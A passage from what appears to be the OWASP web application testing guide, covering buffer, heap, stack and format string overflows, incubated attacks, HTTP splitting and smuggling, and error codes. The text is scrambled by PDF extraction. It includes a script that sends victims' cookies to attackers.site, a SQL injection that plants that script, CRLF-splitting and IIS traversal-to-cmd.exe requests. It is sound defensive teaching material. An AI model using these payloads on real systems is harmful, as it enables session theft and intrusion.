containing only allowable characters should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.
Permissions
The web application and its components should be running under
strict permissions that do not allow operating system command
execution. Try to verify all these informations to test from a Gray
Box point of view

Testing for Buffer Overflow (OTG-INPVAL-014)

Summary
To find out more about buffer overflow vulnerabilities, please go
to Buffer Overflow pages.
See the OWASP article on Buffer Overflow Attacks.

in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place
leading to an access violation. When the overflow is executed in a
controlled fashion, the vulnerability would allow an adversary to
overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function
pointers and various addresses stored in structures like GOT,
.dtors or TEB with the address of a malicious payload.
There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting
function pointers to exploiting memory management structures
for arbitrary code execution. Locating heap overflows requires
closer examination in comparison to stack overflows, since there
are certain conditions that need to exist in the code for these
vulnerabilities to be exploitable.
How to Test
Black Box testing
The principles of black box testing for heap overflows remain the
same as stack overflows. The key is to supply as input strings
that are longer than expected. Although the test process remains the same, the results that are visible in a debugger are
significantly different. While in the case of a stack overflow, an
instruction pointer or SEH overwrite would be apparent, this
does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several
different forms, the most common one being a pointer exchange
taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow
vulnerability.

See the OWASP article on Buffer Overflow Vulnerabilities.


How to test
Different types of buffer overflow vulnerabilities have different
testing methods. Here are the testing methods for the common
types of buffer overflow vulnerabilities.
Testing for heap overflow vulnerability
Testing for stack overflow vulnerability
Testing for format string vulnerability
Code Review
See the OWASP Code Review Guide article on how to Review
Code for Buffer Overruns and Overflows Vulnerabilities.
Remediation
See the OWASP Development Guide article on how to Avoid Buffer Overflow Vulnerabilities.

Testing for Heap Overflow

Summary
In this test the penetration tester checks whether a they can
make a Heap overflow that exploits a memory segment.
Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in
heap consists of boundary tags that contain memory management information.
When a heap-based buffer is overflowed the control information

The two registers shown, EAX and ECX, can be populated with
user supplied addresses which are a part of the data that is used
to overflow the heap buffer. One of the addresses can point to a
function pointer which needs to be overwritten, for example UEF
(Unhandled Exception filter), and the other can be the address of
user supplied code that needs to be executed.
When the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called,
user supplied code gets executed. As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious

146

Web Application Penetration Testing

process, and using fuzzing techniques.


Gray Box testing
When reviewing code, one must realize that there are several
avenues where heap related vulnerabilities may arise. Code that
seems innocuous at the first glance can actually be vulnerable
under certain conditions. Since there are several variants of this
vulnerability, we will cover only the issues that are predominant.
Most of the time, heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like
strcpy( ) on them. The myth that a stack overflow and instruction
pointer overwrite are the only means to execute arbitrary code
proves to be hazardous in case of code shown below:int main(int argc, char *argv[])
{

vulnerable(argv[1]);
return 0;

int vulnerable(char *buf)


{
HANDLE hp = HeapCreate(0, 0, 0);

HLOCAL chunk = HeapAlloc(hp, 0, 260);


strcpy(chunk, buf); Vulnerability
..

return 0;

In this case, if buf exceeds 260 bytes, it will overwrite pointers in


the adjacent boundary tag, facilitating the overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.
Lately, several products, especially anti-virus libraries, have
been affected by variants that are combinations of an integer
overflow and copy operations to a heap buffer. As an example,
consider a vulnerable code snippet, a part of code responsible for
processing TNEF filetypes, from Clam Anti Virus 0.86.1, source
file tnef.c and function tnef_message( ):
string = cli_malloc(length + 1); Vulnerability
if(fread(string, 1, length, fp) != length) { Vulnerability
free(string);
return -1;
}

The malloc in line 1 allocates memory based on the value of


length, which happens to be a 32 bit integer. In this particular example, length is user-controllable and a malicious TNEF file can
be crafted to set length to -1, which would result in malloc( 0 ).
Therefore, this malloc would allocate a small heap buffer, which
would be 16 bytes on most 32 bit platforms (as indicated in malloc.h).
And now, in line 2, a heap overflow occurs in the call to fread(
). The 3rd argument, in this case length, is expected to be a
size_t variable. But if its going to be -1, the argument wraps to
0xFFFFFFFF, thus copying 0xFFFFFFFF bytes into the 16 byte
buffer.
Static code analysis tools can also help in locating heap related
vulnerabilities such as double free etc. A variety of tools like
RATS, Flawfinder and ITS4 are available for analyzing C-style
languages.

Tools

OllyDbg: A windows based debugger used for analyzing buffer


overflow vulnerabilities - http://www.ollydbg.de
Spike, A fuzzer framework that can be used to explore
vulnerabilities and perform length testing http://www.immunitysec.com/downloads/SPIKE2.9.tgz
Brute Force Binary Tester (BFB), A proactive binary checker http://bfbtester.sourceforge.net
Metasploit, A rapid exploit development and Testing frame
work - http://www.metasploit.com
References
Whitepapers
w00w00: Heap Overflow Tutorial http://www.cgsecurity.org/exploit/heaptut.txt
David Litchfield: Windows Heap Overflows http://www.blackhat.com/presentations/win-usa-04/bhwin-04-litchfield/bh-win-04-litchfield.ppt

Testing for Stack Overflow

Summary
Stack overflows occur when variable size data is copied into fixed
length buffers located on the program stack without any bounds
checking. Vulnerabilities of this class are generally considered to
be of high severity since their exploitation would mostly permit
arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is
often ridden with instances of this vulnerability. In fact almost
every platform is vulnerable to stack overflows with the following notable exceptions:
 J2EE as long as native methods or system calls are not
invoked
.NET as long as /unsafe or unmanaged code is not invoked
(such as the use of P/Invoke or COM Interop)
 PHP as long as external programs and vulnerable PHP
extensions written in C or C++ are not called can suffer from
stack overflow issues.
Stack overflow vulnerabilities often allow an attacker to directly
take control of the instruction pointer and, therefore, alter the
execution of the program and execute arbitrary code. Besides

147

Web Application Penetration Testing

overwriting the instruction pointer, similar results can also be


obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.

On opening the executable with the supplied arguments and


continuing execution the following results are obtained.

How to Test
Black Box testing
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is
expected. However, subjecting the application to arbitrarily large
data is not sufficient. It becomes necessary to inspect the applications execution flow and responses to ascertain whether an
overflow has actually been triggered or not. Therefore, the steps
required to locate and validate stack overflows would be to attach a debugger to the target application or process, generate
malformed input for the application, subject the application to
malformed input, and inspect responses in a debugger. The debugger allows the tester to view the execution flow and the state
of the registers when the vulnerability gets triggered.
On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case, various sections are
scanned for signatures of vulnerable assembly fragments. This
is often termed as reverse engineering and is a tedious process.
As a simple example, consider the following technique employed
while testing an executable sample.exe for stack overflows:
#include<stdio.h>
int main(int argc, char *argv[])
{
char buff[20];
printf(copying into buffer);
strcpy(buff,argv[1]);
return 0;
}
File sample.exe is launched in a debugger, in our case OllyDbg.

As shown in the registers window of the debugger, the EIP or Extended Instruction Pointer, which points to the next instruction
to be executed, contains the value 41414141. 41 is a hexadecimal representation for the character A and therefore the string
AAAA translates to 41414141.
This clearly demonstrates how input data can be used to overwrite the instruction pointer with user-supplied values and control program execution. A stack overflow can also allow overwriting of stack-based structures like SEH (Structured Exception
Handler) to control code execution and bypass certain stack protection mechanisms.
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries,
which is a complex and tedious process, and using fuzzing techniques.
Gray Box testing
When reviewing code for stack overflows, it is advisable to
search for calls to insecure library functions like gets(), strcpy(),
strcat() etc which do not validate the length of source strings and
blindly copy data into fixed size buffers.
For example consider the following function:void log_create(int severity, char *inpt) {

Since the application is expecting command line arguments, a


large sequence of characters such as A, can be supplied in the
argument field shown above.

char b[1024];

148

Web Application Penetration Testing

if (severity == 1)
{
strcat(b,Error occurred on);
strcat(b,:);
strcat(b,inpt);

FILE *fd = fopen (logfile.log, a);


fprintf(fd, %s, b);
fclose(fd);
......
}
From above, the line strcat(b,inpt) will result in a stack overflow
if inpt exceeds 1024 bytes. Not only does this demonstrate an
insecure usage of strcat, it also shows how important it is to
examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the
length of string referenced by char *inpt. Therefore it is always
a good idea to trace back the source of function arguments and
ascertain string lengths while reviewing code.
Usage of the relatively safer strncpy() can also lead to stack
overflows since it only restricts the number of bytes copied into
the destination buffer. If the size argument that is used to accomplish this is generated dynamically based on user input or
calculated inaccurately within loops, it is possible to overflow
stack buffers. For example:void func(char *source)
{
Char dest[40];

size=strlen(source)+1
.
strncpy(dest,source,size)
}
where source is user controllable data. A good example would be
the samba trans2open stack overflow vulnerability (http://www.
securityfocus.com/archive/1/317615).
Vulnerabilities can also appear in URL and address parsing code.
In such cases, a function like memccpy() is usually employed
which copies data into a destination buffer from source until a
specified character is not encountered. Consider the function:
void func(char *path)
{
char servaddr[40];

memccpy(servaddr,path,\);
.
}

In this case the information contained in path could be greater


than 40 bytes before \ can be encountered. If so it will cause a
stack overflow. A similar vulnerability was located in Windows
RPCSS subsystem (MS03-026). The vulnerable code copied
server names from UNC paths into a fixed size buffer until a \
was encountered. The length of the server name in this case was
controllable by users.
Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although
they tend to generate a lot of false positives and would barely be
able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits,
like strcpy() and sprintf() bugs.
A variety of tools like RATS, Flawfinder and ITS4 are available for
analyzing C-style languages.

Tools

OllyDbg: A windows based debugger used for analyzing buffer


overflow vulnerabilities - http://www.ollydbg.de
Spike, A fuzzer framework that can be used to explore
vulnerabilities and perform length testing - http://www.
immunitysec.com/downloads/SPIKE2.9.tgz
Brute Force Binary Tester (BFB), A proactive binary checker http://bfbtester.sourceforge.net/
Metasploit, A rapid exploit development and Testing frame
work - http://www.metasploit.com
References
Whitepapers
Aleph One: Smashing the Stack for Fun and Profit http://insecure.org/stf/smashstack.html
The Samba trans2open stack overflow vulnerability http://www.
securityfocus.com/archive/1/317615
Windows RPC DCOM vulnerability details http://www.xfocus.
org/documents/200307/2.html

Testing for Format String

Summary
This section describes how to test for format string attacks that can
be used to crash a program or to execute harmful code. The problem stems from the use of unfiltered user input as the format string
parameter in certain C functions that perform formatting, such as
printf().
Various C-Style languages provision formatting of output by means
of functions like printf( ), fprintf( ) etc. Formatting is governed by a
parameter to these functions termed as format type specifier, typically %s, %c etc. The vulnerability arises when format functions are
called with inadequate parameters validation and user controlled
data.
A simple example would be printf(argv[1]). In this case the type specifier has not been explicitly declared, allowing a user to pass characters such as %s, %n, %x to the application by means of command line
argument argv[1].
This situation tends to become precarious since a user who can supply format specifiers can perform the following malicious actions:

149

Web Application Penetration Testing

Enumerate Process Stack: This allows an adversary to view stack


organization of the vulnerable process by supplying format strings,
such as %x or %p, which can lead to leakage of sensitive information.
It can also be used to extract canary values when the application is
protected with a stack protection mechanism. Coupled with a stack
overflow, this information can be used to bypass the stack protector.
Control Execution Flow: This vulnerability can also facilitate arbitrary code execution since it allows writing 4 bytes of data to an address supplied by the adversary. The specifier %n comes handy for
overwriting various function pointers in memory with address of the
malicious payload. When these overwritten function pointers get
called, execution passes to the malicious code.

printf(The string entered is\n);


printf(%s,argv[1]);
return 0;
}
when the disassembly is examined using IDA Pro, the address of a
format type specifier being pushed on the stack is clearly visible before a call to printf is made.

Denial of Service: If the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed
by supplying a sequence of %x followed by %n.
How to Test
Black Box testing
The key to testing format string vulnerabilities is supplying format
type specifiers in application input.
For example, consider an application that processes the URL string
http://xyzhost.com/html/en/index.htm or accepts inputs from
forms. If a format string vulnerability exists in one of the routines
processing this information, supplying a URL like http://xyzhost.
com/html/en/index.htm%n%n%n or passing %n in one of the form
fields might crash the application creating a core dump in the hosting
folder.

On the other hand, when the same code is compiled without %s as


an argument , the variation in assembly is apparent. As seen below,
there is no offset being pushed on the stack before calling printf.

Format string vulnerabilities manifest mainly in web servers, application servers, or web applications utilizing C/C++ based code or CGI
scripts written in C. In most of these cases, an error reporting or logging function like syslog( ) has been called insecurely.
When testing CGI scripts for format string vulnerabilities, the input
parameters can be manipulated to include %x or %n type specifiers.
For example a legitimate request like

can be altered to
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x
If a format string vulnerability exists in the routine processing this
request, the tester will be able to see stack data being printed out
to browser.
If code is unavailable, the process of reviewing assembly fragments
(also known as reverse engineering binaries) would yield substantial
information about format string bugs.
Take the instance of code (1) :
int main(int argc, char **argv)
{

Gray Box testing


While performing code reviews, nearly all format string vulnerabilities can be detected by use of static code analysis tools. Subjecting
the code shown in (1) to ITS4, which is a static code analysis tool,
gives the following output.

150

Web Application Penetration Testing

The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore
when manually reviewing code, emphasis can be given to functions
such as:
printf
fprintf
sprintf
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
There can be several formatting functions that are specific to the
development platform. These should also be reviewed for absence
of format strings once their argument usage has been understood.

Tools

ITS4: A static code analysis tool for identifying format string


vulnerabilities using source code - http://www.cigital.com/its4
An exploit string builder for format bugs - http://seclists.org/
lists/pen-test/2001/Aug/0014.html
References
Whitepapers
Format functions manual page http://www.die.net/doc/linux/man/man3/fprintf.3.html
Tim Newsham: A paper on format string attacks http://comsec.theclerk.com/CISSP/FormatString.pdf
Team Teso: Exploiting Format String Vulnerabilities http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html
Analysis of format string bugs http://julianor.tripod.com/format-bug-analysis.pdf

Testing for Incubated Vulnerability


(OTG-INPVAL-015)

Summary
Also often refered to as persistent attacks, incubated testing is a
complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically
used to conduct watering hole attacks against users of legitimate web applications.
Incubated vulnerabilities have the following characteristics:
The attack vector needs to be persisted in the first place, it
needs to be stored in the persistence layer, and this would only
occur if weak data validation was present or the data arrived
into the system via another channel such as an admin console
or directly via a backend batch process.
Secondly, once the attack vector was recalled the vector
would need to be executed successfully. For example, an
incubated XSS attack would require weak output validation so
the script would be delivered to the client in its executable form.
Exploitation of some vulnerabilities, or even functional features
of a web application, will allow an attacker to plant a piece of data
that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.

In a penetration test, incubated attacks can be used to assess


the criticality of certain bugs, using the particular security issue
found to build a client-side based attack that usually will be used
to target a large number of victims at the same time (i.e. all users
browsing the site).
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following:
File upload components in a web application, allowing the
attacker to upload corrupted media files (jpg images exploiting
CVE-2004-0200, png images exploiting CVE-2004-0597,
executable files, site pages with active component, etc.)
Cross-site scripting issues in public forums posts (see Testing
for Stored Cross_site scripting (OTG-INPVAL-002) for additional
details). An attacker could potentially store malicious scripts
or code in a repository in the backend of the web-application
(e.g., a database) so that this script/code gets executed by one
of the users (end users, administrators, etc). The archetypical
incubated attack is exemplified by using a cross-site scripting
vulnerability in a user forum, bulletin board, or blog in order to
inject some JavaScript code at the vulnerable page, and will be
eventually rendered and executed at the site users browser
-using the trust level of the original (vulnerable) site at the users
browser.
SQL/XPATH Injection allowing the attacker to upload content to a
database, which will be later retrieved as part of the active content
in a web page. For example, if the attacker can post arbitrary
JavaScript in a bulletin board so that it gets executed by users, then
he might take control of their browsers (e.g., XSS-proxy).
Misconfigured servers allowing installation of Java packages or
similar web site components (i.e. Tomcat, or web hosting consoles
such as Plesk, CPanel, Helm, etc.)
How to Test
Black Box testing
File Upload Example
Verify the content type allowed to upload to the web application and
the resultant URL for the uploaded file. Upload a file that will exploit
a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in
order to lead him/her to browse the page. The expected result is the
exploit will be triggered when the user browses the resultant page
or downloads and executes the file from the trusted site.
XSS Example on a Bulletin Board
[1] Introduce JavaScript code as the value for the vulnerable field,
for instance:
<script>document.write(<img src=http://attackers.site/cv.jpg?+document.cookie+>)</script>
[2] Direct users to browse the vulnerable page or wait for the users to browse it. Have a listener at attackers.site host listening
for all incoming connections.
[3] When users browse the vulnerable page, a request containing

151

Web Application Penetration Testing

their cookie (document.cookie is included as part of the requested


URL) will be sent to the attackers.site host, such as the following:
- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1

[4] Use cookies obtained to impersonate users at the vulnerable


site.
SQL Injection Example
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether
the target site has a SQL injection vulnerability. This is described
in Section 4.2 Testing for SQL Injection. For each SQL-injection
vulnerability, there is an underlying set of constraints describing
the kind of queries that the attacker/pen-tester is allowed to do.
The tester then has to match the XSS attacks he has devised
with the entries that he is allowed to insert.
[1] In a similar fashion as in the previous XSS example, use a web
page field vulnerable to SQL injection issues to change a value in
the database that would be used by the application as input to be
shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, lets
suppose there is a footer table at the database with all footers
for the web site pages, including a notice field with the legal notice that appears at the bottom of each web page. You could use
the following query to inject JavaScript code to the notice field at
the footer table in the database.
SELECT field1, field2, field3
FROM table_x
WHERE field2 = x;
UPDATE footer
SET notice = Copyright 1999-2030%20
<script>document.write(\<img src=http://attackers.site/
cv.jpg?\+document.cookie+\>\)</script>
WHERE notice = Copyright 1999-2030;
[2] Now, each user browsing the site will silently send his cookies
to the attackers.site (steps b.2 to b.4).

ers can then access (most probably with a higher degree of trust
than when accessing a different site).
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated
attack on the web server pages (actually, this is a known infection-spread method for some web server worms).
Gray Box testing
Gray/white testing techniques will be the same as previously
discussed.
Examining input validation is key in mitigating against this
vulnerability. If other systems in the enterprise use the same
persistence layer they may have weak input validation and the
data may be persisited via a back door.
To combat the back door issue for client side attacks, output
validation must also be employed so tainted data shall be
encoded prior to displaying to the client, and hence not execute.
See the Data Validation section of the Code review guide.

Tools

XSS-proxy - http://sourceforge.net/projects/xss-proxy
Paros - http://www.parosproxy.org/index.shtml
Burp Suite - http://portswigger.net/burp/proxy.html
Metasploit - http://www.metasploit.com/
References
Most of the references from the Cross-site scripting section are
valid. As explained above, incubated attacks are executed when
combining exploits such as XSS or SQL-injection attacks.
Advisories
CERT(R) Advisory CA-2000-02 Malicious HTML Tags
Embedded in Client Web Requests - http://www.cert.org/
advisories/CA-2000-02.html
Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site
scripting vulnerability - http://lists.grok.org.uk/pipermail/fulldisclosure/2006-July/048059.html
Whitepapers
Web Application Security Consortium Threat Classification,
Cross-site scripting - http://www.webappsec.org/projects/
threat/classes/cross-site_scripting.shtml

Misconfigured Server
Some web servers present an administration interface that may
allow an attacker to upload active components of her choice to
the site. This could be the case with an Apache Tomcat server
that doesnt enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain
valid credentials for the administration module by other means).

Testing for HTTP Splitting/Smuggling


(OTG-INPVAL-016)

In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester
to execute code of her choice locally at the server, but also to
plant an application at the trusted site, which the site regular us-

This section will analyze two different attacks that target specific HTTP headers:
HTTP splitting
HTTP smuggling

Summary
This section illustrates examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different
agents interpret HTTP messages.

152

Web Application Penetration Testing

The first attack exploits a lack of input sanitization which allows


an intruder to insert CR and LF characters into the headers of the
application response and to split that answer into two different
HTTP messages. The goal of the attack can vary from a cache
poisoning to cross site scripting.
In the second attack, the attacker exploits the fact that some
specially crafted HTTP messages can be parsed and interpreted in different ways depending on the agent that receives them.
HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server,
proxy, firewall) and therefore will be included only in the Gray Box
testing section.
How to Test
Black Box testing
HTTP Splitting
Some web applications use part of the user input to generate the
values of some headers of their responses. The most straightforward example is provided by redirections in which the target
URL depends on some user-submitted value. Lets say for instance that the user is asked to choose whether he/she prefers
a standard or advanced web interface. The choice will be passed
as a parameter that will be used in the response header to trigger
the redirection to the corresponding page.
More specifically, if the parameter interface has the value advanced, the application will answer with the following:
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced
<snip>

When receiving this message, the browser will bring the user to
the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the interface parameter the sequence %0d%0a, which
represents the CRLF sequence that is used to separate different
lines. At this point, testers will be able to trigger a response that
will be interpreted as two different responses by anybody who
happens to parse it, for instance a web cache sitting between
us and the application. This can be leveraged by an attacker to
poison this web cache so that it will provide false content in all
subsequent requests.
Lets say that in the previous example the tester passes the following data as the interface parameter:
advanced%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContent-Length:%20
35%0d%0a%0d%0a<html>Sorry,%20System%20Down</
html>
The resulting answer from the vulnerable application will therefore be the following:

HTTP/1.1 302 Moved Temporarily


Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35
<html>Sorry,%20System%20Down</html>
<other data>
The web cache will see two different responses, so if the attacker
sends, immediately after the first request, a second one asking
for /index.html, the web cache will match this request with the
second response and cache its content, so that all subsequent
requests directed to victim.com/index.html passing through
that web cache will receive the system down message. In this
way, an attacker would be able to effectively deface the site for
all users using that web cache (the whole Internet, if the web
cache is a reverse proxy for the web application).
Alternatively, the attacker could pass to those users a JavaScript
snippet that mounts a cross site scripting attack, e.g., to steal
the cookies. Note that while the vulnerability is in the application,
the target here is its users. Therefore, in order to look for this
vulnerability, the tester needs to identify all user controlled input
that influences one or more headers in the response, and check
whether he/she can successfully inject a CR+LF sequence in it.
The headers that are the most likely candidates for this attack
are:
Location
Set-Cookie
It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several
factors must be taken into account:
[1] The pen-tester must properly set the headers in the fake
response for it to be successfully cached (e.g., a Last-Modified
header with a date set in the future). He/she might also have
to destroy previously cached versions of the target pagers, by
issuing a preliminary request with Pragma: no-cache in the
request headers
[2] The application, while not filtering the CR+LF sequence,
might filter other characters that are needed for a successful
attack (e.g., < and >). In this case, the tester can try to use
other encodings (e.g., UTF-7)
[3] Some targets (e.g., ASP) will URL-encode the path part of the
Location header (e.g., www.victim.com/redirect.asp), making
a CRLF sequence useless. However, they fail to encode the
query section (e.g., ?interface=advanced), meaning that a
leading question mark is enough to bypass this filtering
For a more detailed discussion about this attack and other information about possible scenarios and applications, check the
papers referenced at the bottom of this section.

153

Web Application Penetration Testing

Gray Box testing


HTTP Splitting
A successful exploitation of HTTP Splitting is greatly helped by
knowing some details of the web application and of the attack
target. For instance, different targets can use different methods to decide when the first HTTP message ends and when the
second starts. Some will use the message boundaries, as in the
previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for
each message a number of chunks of predetermined length: in
this case, the second message will have to start exactly at the
beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble
when the vulnerable parameter is to be sent in the URL, as a very
long URL is likely to be truncated or filtered. A gray box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using
POST instead of GET.
HTTP Smuggling
As mentioned in the introduction, HTTP Smuggling leverages the
different ways that a particularly crafted HTTP message can be
parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was
first discovered by Chaim Linhart, Amit Klein, Ronen Heled and
Steve Orrin in 2005. There are several possible applications and
we will analyze one of the most spectacular: the bypass of an
application firewall. Refer to the original whitepaper (linked at
the bottom of this page) for more detailed information and other
scenarios.
Application Firewall Bypass
There are several products that enable a system administration
to detect and block a hostile web request depending on some
known malicious pattern that is embedded in the request. For
example, consider the infamous, old Unicode directory traversal attack against IIS server (http://www.securityfocus.com/
bid/1806), in which an attacker could break out the www root by
issuing a request like:
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/
c+<command_to_execute>
Of course, it is quite easy to spot and filter this attack by the
presence of strings like .. and cmd.exe in the URL. However, IIS 5.0 is quite picky about POST requests whose body is
up to 48K bytes and truncates all content that is beyond this
limit when the Content-Type header is different from application/x-www-form-urlencoded. The pen-tester can leverage this
by creating a very large request, structured as follows:
POST /target.asp HTTP/1.1
Host: target
Connection: Keep-Alive
Content-Length: 49225
<CRLF>
<49152 bytes of garbage>
POST /target.asp HTTP/1.0

<-- Request #1

<-- Request #2

Connection: Keep-Alive
Content-Length: 33
<CRLF>
POST /target.asp HTTP/1.0
<-- Request #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0 <-- Request #4
Connection: Keep-Alive
<CRLF>
What happens here is that the Request #1 is made of 49223
bytes, which includes also the lines of Request #2. Therefore, a
firewall (or any other agent beside IIS 5.0) will see Request #1,
will fail to see Request #2 (its data will be just part of #1), will see
Request #3 and miss Request #4 (because the POST will be just
part of the fake header xxxx).
Now, what happens to IIS 5.0 ? It will stop parsing Request #1
right after the 49152 bytes of garbage (as it will have reached
the 48K=49152 bytes limit) and will therefore parse Request #2
as a new, separate request. Request #2 claims that its content is
33 bytes, which includes everything until xxxx: , making IIS miss
Request #3 (interpreted as part of Request #2) but spot Request
#4, as its POST starts right after the 33rd byte or Request #2. It
is a bit complicated, but the point is that the attack URL will not
be detected by the firewall (it will be interpreted as the body of
a previous request) but will be correctly parsed (and executed)
by IIS.
While in the aforementioned case the technique exploits a bug of
a web server, there are other scenarios in which we can leverage
the different ways that different HTTP-enabled devices parse
messages that are not 1005 RFC compliant. For instance, the
HTTP protocol allows only one Content-Length header, but does
not specify how to handle a message that has two instances of
this header. Some implementations will use the first one while
others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length
header in a GET message.
Note that HTTP Smuggling does *not* exploit any vulnerability
in the target web application. Therefore, it might be somewhat
tricky, in a pen-test engagement, to convince the client that a
countermeasure should be looked for anyway.
References
Whitepapers
Amit Klein, Divide and Conquer: HTTP Response Splitting,
Web Cache Poisoning Attacks, and Related Topics - http://
www.packetstormsecurity.org/papers/general/whitepaper_
httpresponse.pdf
Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: HTTP
Request Smuggling - http://www.watchfire.com/news/
whitepapers.aspx
Amit Klein: HTTP Message Splitting, Smuggling and
Other Animals - http://www.owasp.org/images/1/1a/
OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.
ppt
Amit Klein: HTTP Request Smuggling - ERRATA (the IIS
48K buffer phenomenon) - http://www.securityfocus.com/
archive/1/411418

154

Web Application Penetration Testing

Amit Klein: HTTP Response Smuggling http://www.securityfocus.com/archive/1/425593


Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: HTTP
Request Smuggling - http://www.cgisecurity.com/lib/httprequest-smuggling.pdf

Testing for Error Code (OTG-ERR-001)

Summary
Often, during a penetration test on web applications, we come
up against many error codes generated from applications or
web servers. Its possible to cause these errors to be displayed
by using a particular requests, either specially crafted with tools
or created manually. These codes are very useful to penetration
testers during their activities, because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.
This section analyses the more common codes (error messages) and bring into focus their relevance during a vulnerability assessment. The most important aspect for this activity is to focus
ones attention on these errors, seeing them as a collection of
information that will aid in the next steps of our analysis. A good
collection can facilitate assessment efficiency by decreasing the
overall time taken to perform the penetration test.
Attackers sometimes use search engines to locate errors that
disclose information. Searches can be performed to find any erroneous sites as random victims, or it is possible to search for
errors in a specific site using the search engine filtering tools as
described in 4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)
Web Server Errors
A common error that we can see during testing is the HTTP 404
Not Found. Often this error code provides useful details about
the underlying web server and associated components. For example:
Not Found
The requested URL /page.html was not found on this server.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2
PHP/5.1.2 Server at localhost Port 80
This error message can be generated by requesting a non-existent URL. After the common message that shows a page not
found, there is information about web server version, OS, modules and other products used. This information can be very important from an OS and application type and version identification point of view.
Other HTTP response codes such as 400 Bad Request, 405
Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported can be
forced by an attacker. When receiving specially crafted requests,
web servers may provide one of these error codes depending on
their HTTP implementation.
Testing for disclosed information in the Web Server error codes
is related testing for information disclosed in the HTTP headers
as described in the section Fingerprint Web Server (OTG-IN-

FO-002).
Application Server Errors
Application errors are returned by the application itself, rather
than the web server. These could be error messages from framework code (ASP, JSP etc.) or they could be specific errors returned
by the application code. Detailed application errors typically provide information of server paths, installed libraries and application versions.
Database Errors
Database errors are those returned by the Database System
